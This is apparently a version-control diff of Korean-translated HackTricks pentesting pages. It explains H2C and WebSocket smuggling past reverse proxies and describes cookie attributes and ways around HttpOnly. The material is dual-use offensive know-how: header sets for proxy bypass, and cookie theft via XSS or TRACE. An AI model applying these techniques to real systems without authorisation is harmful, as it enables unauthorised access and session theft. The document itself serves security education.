* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
H2C, 또는 **http2 over cleartext**는 표준 HTTP **연결을 지속적인 연결로 업그레이드**하여 일시적인 HTTP 연결의 규범에서 벗어납니다. 이 업그레이드된 연결은 평문 HTTP의 단일 요청 특성과는 달리 지속적인 통신을 위해 http2 이진 프로토콜을 사용합니다.
|
H2C, 또는 **http2 over cleartext**는 표준 HTTP **연결을 지속적인 연결로 업그레이드**하여 일시적인 HTTP 연결의 규범에서 벗어납니다. 이 업그레이드된 연결은 평문 HTTP의 단일 요청 특성과는 달리 지속적인 통신을 위해 http2 이진 프로토콜을 사용합니다.
|
||||||
|
|
||||||
스머글링 문제의 핵심은 **리버스 프록시**의 사용에서 발생합니다. 일반적으로 리버스 프록시는 HTTP 요청을 처리하고 백엔드로 전달한 후 백엔드의 응답을 반환합니다. 그러나 HTTP 요청에 `Connection: Upgrade` 헤더가 포함되어 있을 때(웹소켓 연결에서 일반적으로 볼 수 있음), 리버스 **프록시는 클라이언트와 서버 간의 지속적인 연결을 유지**하여 특정 프로토콜에서 요구하는 지속적인 교환을 용이하게 합니다. H2C 연결의 경우, RFC 준수를 위해 세 가지 특정 헤더가 필요합니다:
|
밀수 문제의 핵심은 **리버스 프록시**의 사용에서 발생합니다. 일반적으로 리버스 프록시는 HTTP 요청을 처리하고 백엔드로 전달한 후 백엔드의 응답을 반환합니다. 그러나 HTTP 요청에 `Connection: Upgrade` 헤더가 포함되어 있을 때(웹소켓 연결에서 일반적으로 볼 수 있음), 리버스 **프록시는 클라이언트와 서버 간의 지속적인 연결을 유지**하여 특정 프로토콜에서 요구하는 지속적인 교환을 용이하게 합니다. H2C 연결의 경우, RFC 준수를 위해 세 가지 특정 헤더가 필요합니다:
|
||||||
```
|
```
|
||||||
Upgrade: h2c
|
Upgrade: h2c
|
||||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||||
Connection: Upgrade, HTTP2-Settings
|
Connection: Upgrade, HTTP2-Settings
|
||||||
```
|
```
|
||||||
취약점은 연결을 업그레이드한 후, 리버스 프록시가 개별 요청을 관리하지 않게 되어 연결 설정 후 라우팅 작업이 완료되었다고 가정할 때 발생합니다. H2C 스머글링을 이용하면 H2C 연결이 성공적으로 시작된 경우 요청 처리 중 적용된 리버스 프록시 규칙(예: 경로 기반 라우팅, 인증 및 WAF 처리)을 우회할 수 있습니다.
|
취약점은 연결을 업그레이드한 후 리버스 프록시가 개별 요청을 관리하지 않게 되어 연결 설정 후 라우팅 작업이 완료되었다고 가정할 때 발생합니다. H2C 스머글링을 이용하면 H2C 연결이 성공적으로 시작된 경우 요청 처리 중 적용된 리버스 프록시 규칙(예: 경로 기반 라우팅, 인증 및 WAF 처리)을 우회할 수 있습니다.
|
||||||
|
|
||||||
#### 취약한 프록시 <a href="#exploitation" id="exploitation"></a>
|
#### 취약한 프록시 <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
|
@ -58,15 +50,15 @@ Connection: Upgrade, HTTP2-Settings
|
||||||
|
|
||||||
#### 악용 <a href="#exploitation" id="exploitation"></a>
|
#### 악용 <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
모든 서버가 H2C 연결 업그레이드에 필요한 헤더를 본질적으로 전달하지 않는다는 점에 유의해야 합니다. 따라서 AWS ALB/CLB, NGINX 및 Apache Traffic Server와 같은 서버는 자연스럽게 H2C 연결을 차단합니다. 그럼에도 불구하고, 일부 백엔드가 표준을 준수하지 않을 수 있으므로 `Connection: Upgrade` 변형을 사용하여 테스트해 볼 가치가 있습니다. 이 변형은 `Connection` 헤더에서 `HTTP2-Settings` 값을 제외합니다.
|
모든 서버가 H2C 연결 업그레이드에 필요한 헤더를 본질적으로 전달하지 않는다는 점에 유의해야 합니다. 따라서 AWS ALB/CLB, NGINX 및 Apache Traffic Server와 같은 서버는 자연스럽게 H2C 연결을 차단합니다. 그럼에도 불구하고, 일부 백엔드가 표준을 준수하지 않을 수 있으므로 `Connection: Upgrade` 변형을 테스트해 볼 가치가 있습니다. 이 변형은 `Connection` 헤더에서 `HTTP2-Settings` 값을 제외합니다.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
`proxy_pass` URL에 지정된 특정 **경로**(예: `http://backend:9999/socket.io`)와 관계없이, 설정된 연결은 기본적으로 `http://backend:9999`로 설정됩니다. 이를 통해 이 기술을 활용하여 해당 내부 엔드포인트 내의 모든 경로와 상호작용할 수 있습니다. 따라서 `proxy_pass` URL에 경로를 지정하는 것은 접근을 제한하지 않습니다.
|
`proxy_pass` URL에 지정된 특정 **경로**(예: `http://backend:9999/socket.io`)와 관계없이 설정된 연결은 기본적으로 `http://backend:9999`로 설정됩니다. 이를 통해 이 기술을 활용하여 해당 내부 엔드포인트 내의 모든 경로와 상호작용할 수 있습니다. 따라서 `proxy_pass` URL에 경로를 지정하는 것은 접근을 제한하지 않습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
도구 [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) 및 [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler)는 H2C 연결을 설정하여 **프록시가 부과한 보호를 우회**하려는 시도를 용이하게 하여 프록시로 보호된 리소스에 접근할 수 있게 합니다.
|
도구 [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) 및 [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler)는 H2C 연결을 설정하여 **프록시가 부과한 보호를 우회**하려는 시도를 용이하게 하여 프록시로 보호된 리소스에 접근할 수 있게 합니다.
|
||||||
|
|
||||||
이 취약점에 대한 추가 정보, 특히 NGINX와 관련하여, [**이 상세 리소스**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)를 참조하십시오.
|
이 취약점에 대한 추가 정보, 특히 NGINX와 관련하여 [**이 상세 리소스**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)를 참조하십시오.
|
||||||
|
|
||||||
## 웹소켓 스머글링
|
## 웹소켓 스머글링
|
||||||
|
|
||||||
|
@ -74,28 +66,28 @@ Connection: Upgrade, HTTP2-Settings
|
||||||
|
|
||||||
### 시나리오 1
|
### 시나리오 1
|
||||||
|
|
||||||
이 시나리오에서는 공용 웹소켓 API와 접근할 수 없는 내부 REST API를 제공하는 백엔드가 악의적인 클라이언트의 공격 대상이 됩니다. 공격은 여러 단계로 진행됩니다:
|
이 시나리오에서는 공개 웹소켓 API와 접근할 수 없는 내부 REST API를 제공하는 백엔드가 악의적인 클라이언트의 공격 대상이 됩니다. 공격은 여러 단계로 진행됩니다:
|
||||||
|
|
||||||
1. 클라이언트는 잘못된 `Sec-WebSocket-Version` 프로토콜 버전을 헤더에 포함하여 리버스 프록시로 업그레이드 요청을 보냅니다. 프록시는 `Sec-WebSocket-Version` 헤더를 검증하지 못하고 업그레이드 요청이 유효하다고 믿고 백엔드로 전달합니다.
|
1. 클라이언트는 잘못된 `Sec-WebSocket-Version` 프로토콜 버전을 헤더에 포함하여 리버스 프록시로 업그레이드 요청을 보냅니다. 프록시는 `Sec-WebSocket-Version` 헤더를 검증하지 못하고 업그레이드 요청이 유효하다고 믿고 이를 백엔드로 전달합니다.
|
||||||
2. 백엔드는 `Sec-WebSocket-Version` 헤더의 잘못된 프로토콜 버전을 나타내는 상태 코드 `426`으로 응답합니다. 리버스 프록시는 백엔드의 응답 상태를 간과하고 웹소켓 통신 준비가 완료되었다고 가정하여 클라이언트에게 응답을 전달합니다.
|
2. 백엔드는 `Sec-WebSocket-Version` 헤더의 잘못된 프로토콜 버전을 나타내는 상태 코드 `426`으로 응답합니다. 리버스 프록시는 백엔드의 응답 상태를 간과하고 웹소켓 통신 준비가 완료되었다고 가정하여 클라이언트에게 응답을 전달합니다.
|
||||||
3. 결과적으로 리버스 프록시는 클라이언트와 백엔드 간에 웹소켓 연결이 설정되었다고 잘못 믿게 되지만, 실제로 백엔드는 업그레이드 요청을 거부했습니다. 그럼에도 불구하고 프록시는 클라이언트와 백엔드 간에 열린 TCP 또는 TLS 연결을 유지하여 클라이언트가 이 연결을 통해 비공식 REST API에 무제한으로 접근할 수 있게 합니다.
|
3. 결과적으로 리버스 프록시는 클라이언트와 백엔드 간에 웹소켓 연결이 설정되었다고 잘못 믿게 되지만, 실제로 백엔드는 업그레이드 요청을 거부했습니다. 그럼에도 불구하고 프록시는 클라이언트와 백엔드 간에 열린 TCP 또는 TLS 연결을 유지하여 클라이언트가 이 연결을 통해 비공식 REST API에 무제한으로 접근할 수 있게 합니다.
|
||||||
|
|
||||||
영향을 받는 리버스 프록시에는 문제를 해결하지 않은 Varnish와 업그레이드 메커니즘이 변경된 Envoy 프록시 버전 1.8.0 이하가 포함됩니다. 다른 프록시도 취약할 수 있습니다.
|
영향을 받는 리버스 프록시에는 문제를 해결하지 않기로 결정한 Varnish와 업그레이드 메커니즘이 변경된 Envoy 프록시 버전 1.8.0 이하가 포함됩니다. 다른 프록시도 취약할 수 있습니다.
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
||||||
|
|
||||||
### 시나리오 2
|
### 시나리오 2
|
||||||
|
|
||||||
이 시나리오는 공용 웹소켓 API와 건강 검사를 위한 공용 REST API, 그리고 접근할 수 없는 내부 REST API를 가진 백엔드를 포함합니다. 공격은 더 복잡하며 다음 단계로 진행됩니다:
|
이 시나리오는 공개 웹소켓 API와 건강 검사를 위한 공개 REST API, 그리고 접근할 수 없는 내부 REST API를 가진 백엔드를 포함합니다. 공격은 더 복잡하며 다음 단계로 진행됩니다:
|
||||||
|
|
||||||
1. 클라이언트는 건강 검사 API를 트리거하기 위해 POST 요청을 보내고 추가 HTTP 헤더 `Upgrade: websocket`을 포함합니다. NGINX는 리버스 프록시로서 이를 `Upgrade` 헤더만 기반으로 표준 업그레이드 요청으로 해석하고 요청의 다른 측면을 무시하며 백엔드로 전달합니다.
|
1. 클라이언트는 건강 검사 API를 트리거하기 위해 POST 요청을 보내고 추가 HTTP 헤더 `Upgrade: websocket`을 포함합니다. NGINX는 리버스 프록시로서 이를 `Upgrade` 헤더만 기반으로 표준 업그레이드 요청으로 해석하고 요청의 다른 측면을 무시하며 백엔드로 전달합니다.
|
||||||
2. 백엔드는 건강 검사 API를 실행하고 공격자가 제어하는 외부 리소스에 접근하여 상태 코드 `101`이 포함된 HTTP 응답을 반환합니다. 이 응답은 백엔드에서 수신되어 NGINX로 전달되면, 프록시는 상태 코드만 검증하여 웹소켓 연결이 설정되었다고 잘못 생각하게 됩니다.
|
2. 백엔드는 건강 검사 API를 실행하고 공격자가 제어하는 외부 리소스에 접근하여 상태 코드 `101`이 포함된 HTTP 응답을 반환합니다. 이 응답은 백엔드에서 수신되어 NGINX로 전달되며, 프록시는 상태 코드만 검증하여 웹소켓 연결이 설정되었다고 잘못 생각하게 만듭니다.
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||||
|
|
||||||
> **경고:** 이 기술의 복잡성은 상태 코드 101을 반환할 수 있는 엔드포인트와 상호작용할 수 있는 능력을 요구함에 따라 증가합니다.
|
> **경고:** 이 기술의 복잡성은 상태 코드 101을 반환할 수 있는 엔드포인트와 상호작용할 수 있는 능력을 요구함에 따라 증가합니다.
|
||||||
|
|
||||||
결국 NGINX는 클라이언트와 백엔드 간에 웹소켓 연결이 존재한다고 믿게 됩니다. 실제로는 그러한 연결이 존재하지 않으며, 건강 검사 REST API가 목표였습니다. 그럼에도 불구하고 리버스 프록시는 연결을 열어 두어 클라이언트가 이를 통해 비공식 REST API에 접근할 수 있게 합니다.
|
결국 NGINX는 클라이언트와 백엔드 간에 웹소켓 연결이 존재한다고 믿게 됩니다. 실제로는 그런 연결이 존재하지 않으며, 건강 검사 REST API가 목표였습니다. 그럼에도 불구하고 리버스 프록시는 연결을 열어두어 클라이언트가 이를 통해 비공식 REST API에 접근할 수 있게 합니다.
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||||
|
|
||||||
|
@ -112,22 +104,16 @@ Connection: Upgrade, HTTP2-Settings
|
||||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹을 배우고 연습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹을 배우고 연습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **@hacktricks\_live**를 **팔로우**하세요**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,47 +1,40 @@
|
||||||
# 쿠키 해킹
|
# Cookies Hacking
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
## Cookie Attributes
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 쿠키 속성
|
|
||||||
|
|
||||||
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가지고 있습니다. 다음은 이러한 속성에 대한 설명입니다:
|
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가지고 있습니다. 다음은 이러한 속성에 대한 설명입니다:
|
||||||
|
|
||||||
### 만료 및 최대 연령
|
### Expires and Max-Age
|
||||||
|
|
||||||
쿠키의 만료 날짜는 `Expires` 속성에 의해 결정됩니다. 반대로, `Max-age` 속성은 쿠키가 삭제될 때까지의 시간을 초 단위로 정의합니다. **더 현대적인 관행을 반영하는 `Max-age`를 선택하세요.**
|
쿠키의 만료 날짜는 `Expires` 속성에 의해 결정됩니다. 반대로, `Max-age` 속성은 쿠키가 삭제될 때까지의 시간을 초 단위로 정의합니다. **더 현대적인 관행을 반영하는 `Max-age`를 선택하세요.**
|
||||||
|
|
||||||
### 도메인
|
### Domain
|
||||||
|
|
||||||
쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 경우 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서도 쿠키에 접근할 수 있습니다.
|
쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 시나리오에서 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서 쿠키에 접근할 수 있습니다.
|
||||||
|
|
||||||
### 경로
|
### Path
|
||||||
|
|
||||||
`Cookie` 헤더가 전송되기 위해 요청된 URL에 반드시 존재해야 하는 특정 URL 경로는 `Path` 속성에 의해 표시됩니다. 이 속성은 `/` 문자를 디렉토리 구분자로 간주하여 하위 디렉토리에서도 일치를 허용합니다.
|
`Cookie` 헤더가 전송되기 위해 요청된 URL에 반드시 존재해야 하는 특정 URL 경로는 `Path` 속성에 의해 표시됩니다. 이 속성은 `/` 문자를 디렉토리 구분자로 간주하여 하위 디렉토리에서도 일치를 허용합니다.
|
||||||
|
|
||||||
### 정렬 규칙
|
### Ordering Rules
|
||||||
|
|
||||||
두 개의 쿠키가 동일한 이름을 가질 때, 전송할 쿠키는 다음에 따라 선택됩니다:
|
두 개의 쿠키가 동일한 이름을 가질 때, 전송을 위해 선택되는 쿠키는 다음에 따라 결정됩니다:
|
||||||
|
|
||||||
* 요청된 URL에서 가장 긴 경로와 일치하는 쿠키.
|
* 요청된 URL에서 가장 긴 경로와 일치하는 쿠키.
|
||||||
* 경로가 동일할 경우 가장 최근에 설정된 쿠키.
|
* 경로가 동일할 경우 가장 최근에 설정된 쿠키.
|
||||||
|
@ -53,35 +46,35 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* **Lax**: 제3자 웹사이트에서 시작된 GET 요청과 함께 쿠키가 전송될 수 있도록 허용합니다.
|
* **Lax**: 제3자 웹사이트에서 시작된 GET 요청과 함께 쿠키가 전송될 수 있도록 허용합니다.
|
||||||
* **None**: 모든 제3자 도메인에서 쿠키가 전송될 수 있도록 허용합니다.
|
* **None**: 모든 제3자 도메인에서 쿠키가 전송될 수 있도록 허용합니다.
|
||||||
|
|
||||||
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 쿠키가 예상대로 동작하도록 보장할 수 있습니다.
|
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 예상대로 동작하도록 보장할 수 있습니다.
|
||||||
|
|
||||||
| **요청 유형** | **예제 코드** | **쿠키 전송 시** |
|
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||||
| ---------------- | ---------------------------------- | --------------------- |
|
| ---------------- | ---------------------------------- | --------------------- |
|
||||||
| 링크 | \<a href="...">\</a> | NotSet\*, Lax, None |
|
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||||
| 프리렌더 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||||
| 폼 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||||
| 폼 POST | \<form method="POST" action="..."> | NotSet\*, None |
|
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||||
| AJAX | $.get("...") | NotSet\*, None |
|
| AJAX | $.get("...") | NotSet\*, None |
|
||||||
| 이미지 | \<img src="..."> | NetSet\*, None |
|
| Image | \<img src="..."> | NetSet\*, None |
|
||||||
|
|
||||||
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)에서 가져온 표이며 약간 수정되었습니다.\
|
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||||
_**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
_**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
||||||
|
|
||||||
**\*Chrome80(2019년 2월)부터 쿠키에 SameSite 속성이 없는 경우 기본 동작은 lax**입니다 ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Chrome80(2019년 2월)부터 쿠키에 SameSite 속성이 없는 경우 기본 동작은 lax입니다** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
이 변경을 적용한 후, Chrome에서 **SameSite 정책이 없는 쿠키는** **처음 2분 동안 None으로 처리되고, 이후에는 최상위 교차 사이트 POST 요청에 대해 Lax로 처리됩니다.**
|
이 변경을 적용한 후, Chrome에서 **SameSite 정책이 없는 쿠키는** **처음 2분 동안은 None으로 처리되고, 이후에는 최상위 교차 사이트 POST 요청에 대해 Lax로 처리됩니다.**
|
||||||
|
|
||||||
## 쿠키 플래그
|
## Cookies Flags
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
이 속성은 **클라이언트**가 쿠키에 접근하는 것을 방지합니다 (예: **Javascript**를 통해: `document.cookie`).
|
이 속성은 **클라이언트**가 쿠키에 접근하는 것을 방지합니다 (예: **Javascript**를 통해: `document.cookie`).
|
||||||
|
|
||||||
#### **우회 방법**
|
#### **Bypasses**
|
||||||
|
|
||||||
* 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** ([https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 예시 확인).
|
* 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인하세요).
|
||||||
* **TRACE** **HTTP** 요청으로 우회할 수 있으며, 서버의 응답은 전송된 쿠키를 반영합니다. 이 기술은 **Cross-Site Tracking**이라고 합니다.
|
* 서버의 응답으로 **TRACE** **HTTP** 요청을 사용하여 우회할 수 있습니다 (이 HTTP 메서드가 사용 가능한 경우). 이 기술은 **Cross-Site Tracking**이라고 합니다.
|
||||||
* 이 기술은 **모던 브라우저에서 JS로 TRACE 요청을 전송하는 것을 허용하지 않음으로써 방지됩니다.** 그러나 IE6.0 SP2와 같은 특정 소프트웨어에서 `\r\nTRACE`를 전송하여 우회하는 방법이 발견되었습니다.
|
